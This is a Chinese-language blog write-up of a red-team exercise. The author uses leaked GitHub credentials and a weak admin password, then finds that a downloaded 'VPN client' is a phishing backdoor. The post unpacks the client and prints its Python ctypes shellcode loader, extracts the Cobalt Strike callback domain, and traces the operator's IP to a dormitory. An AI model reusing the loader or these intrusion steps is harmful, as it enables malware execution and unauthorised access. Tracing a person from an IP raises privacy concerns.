记一次实战溯源

VSole2022-05-12 08:22:05

0x01 信息收集

GIthub信息泄漏

根据甲方信息进行常规的Github敏感信息收集偶然发现一个仓库不简单

这不是mysql账号密码泄漏了吗,愉快的打开Navicat

失败....于是访问源码的8080端口查看一番,发现一个管理后台

弱口令

针对后台尝试一波弱口令,admin/admin 嗯~进来了

进来之后竟然发现账号密码而且客户端解压密码都贴心的放了出来

到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。

解压出来这个样子,emmm。。还没发现异常

0x02 分析溯源

还好有谨慎的习惯,放入虚拟机瞅瞅。

哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。

包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin

由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。

解包

python3 pyinstxtractor.py vpnclient64.exe

生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据

PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要自己添加回去。

添加头

根据struct.py文件

源码

得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码隐藏至图片中。

通过requests请求OSS存储中的图片,图片内容为shellcode加载器。

shellcodeLoader部分

import base64
import ctypes
str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
                                             ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

知道shellcodeloader加载方式就好办了,提取CS回连地址。

溯源

回连地址:Host: cs.xxx.cn

nslookup解析地址

根据IP地址定位在某宿舍

直接溯源到人,tg结合一波。

0x03 总结

在攻防演练过程中一定要小心,防止被钓鱼。另外这个钓鱼的兄弟已经小本本记下了。。。

base64
本作品采用《CC 协议》,转载必须注明作者和本文链接
适用场景:使用burp作为代理,经过burp的数据包会自动进行base64编码。
多次测试后发现确实都相等,确定就是标准的Base64编码。发现与之前的111极为相似。
菜刀、冰蝎、蚁剑、哥斯拉的流量特征
[VNCTF2022]gocalc0复现
2022-05-07 16:02:38
看雪论坛作者ID:H3h3QAQ
Satacom下载程序,也称为LegionLoader,是2019年出现的一个著名的恶意软件家族。该恶意软件利用查询DNS服务器的技术获取base64编码的URL,以便接收当前由Satacom传播的另一恶意软件家族的下一阶段。
在渗透测试过程中,我们经常会遇到一些特殊的编码,如地址栏的URL编码,如抓包过程中遇到的Unicode编码、base64编码等。这款工具界面美观,使用稳定,相当好用。之前使用的小葵转码工具,一旦输错就会崩溃,相当淡疼。下面看下它的样子:可以看到它支持多种编码转换,前几个选项应用场景比较少,从base64往下的选项就比较常用了。
Decodify是一款功能强大的字符串安全处理工具,在该工具的帮助下,广大研究人员能够轻松地以递归的方式检测和解码编码字符串。假设现在有一个字符串“s0md3v”,然后使用Base64对其编码,结果如下:czBtZDN2. 解码凯撒密码我们可以使用--rot选项来提供偏移量,或者使用--rot all命令来告诉Decodify使用1-26偏移量来解码目标字符串。
MTCTF-2022 部分WriteUp
2022-11-23 09:35:37
MTCTF 本次比赛主力输出选手Article&Messa&Oolongcode,累计解题3Web,2Pwn,1Re,1CryptoWeb★easypickle题目给出源码:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是将从stack中出栈两元素分别导入的模块名和属性名:此外对于蓝帽杯WP还存在一个小问题,原题采用_loads函数加载pickle数据但本题是loads,在opcodes处理上会有些微不通具体来说就是用loads加载时会报错误如下:对着把传入参数换成元组就行,最终的payload如下
前言前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作0x01 获取网站接口主界面:上传点:由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie任意文件上传:文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母0x02 后缀名绕过代码不限制后缀名,但是waf限制呀!
VSole
网络安全专家